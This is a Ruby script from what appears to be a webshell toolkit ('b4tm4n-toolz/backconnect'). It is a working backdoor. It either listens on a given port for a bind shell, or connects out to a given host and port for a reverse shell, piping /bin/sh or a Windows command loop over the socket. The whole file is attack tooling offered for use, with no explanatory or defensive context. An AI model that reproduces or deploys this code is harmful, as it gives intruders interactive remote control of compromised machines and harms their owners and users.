webshell/b4tm4n-toolz/backconnect/back.rb
2018-12-20 15:51:32 +08:00

100 lines
No EOL
2.3 KiB
Ruby

#!/usr/bin/env ruby
require 'socket'
require 'pathname'
def sucks
return RUBY_PLATFORM.downcase.match('mswin|win|mingw')?true:false
end
def realpath(str)
r=str
if File.exists?(str)
r=Pathname.new(str).realpath.to_s
end
if sucks then r=r.gsub(/\//,"\\") end
return r
end
if ARGV.length==1
ARGV[0]=~/^[0-9]{1,5}$/?p=Integer(ARGV[0]):exit
s=TCPServer.new("",p)
c=s.accept
c.print "b4tm4n shell : connected\n"
begin
if not sucks
f=c.to_i
exec sprintf("export TERM=xterm;PS1='\$PWD\>';export PS1;/bin/sh -i \<\&%d \>\&%d 2\>\&%d",f,f,f)
else
c.print realpath(".")+">"
while l=c.gets
raise errorBro if l=~/^die\r?$/
if not l.chomp==""
if l=~/cd .*/i
l=l.gsub(/cd /i,'').chomp
if File.directory?(l)
l=realpath(l)
Dir.chdir(l)
end
c.print realpath(".")+">"
elsif l=~/\w:.*/i
if File.directory?(l.chomp)
Dir.chdir(l.chomp)
end
c.print realpath(".")+">"
else
IO.popen(l,"r"){|io|c.print io.read+"\n"+realpath(".")+">"}
end
end
end
end
rescue errorBro
exit
ensure
s.close
s=nil
end
elsif ARGV.length==2
if ARGV[0]=~/^[0-9]{1,5}$/
p=Integer(ARGV[0]);
h=ARGV[1]
else
exit
end
s=TCPSocket.new("#{h}",p)
s.print "b4tm4n shell : connected\n"
begin
if not sucks
f=s.to_i
exec sprintf("export TERM=xterm;PS1='\$PWD\>';export PS1;/bin/sh -i \<\&%d \>\&%d 2\>\&%d",f,f,f)
else
s.print realpath(".")+">"
while l=s.gets
raise errorBro if l=~/^die\r?$/i
if not l.chomp==""
if l=~/cd .*/i
l=l.gsub(/cd /i,'').chomp
if File.directory?(l)
l=realpath(l)
Dir.chdir(l)
end
s.print realpath(".")+">"
elsif l=~/\w:.*/i
if File.directory?(l.chomp)
Dir.chdir(l.chomp)
end
s.print realpath(".")+">"
else
IO.popen(l,"r"){|io|s.print io.read+"\n"+realpath(".")+">"}
end
end
end
end
rescue errorBro
exit
ensure
s.close
s=nil
end
else
exit
end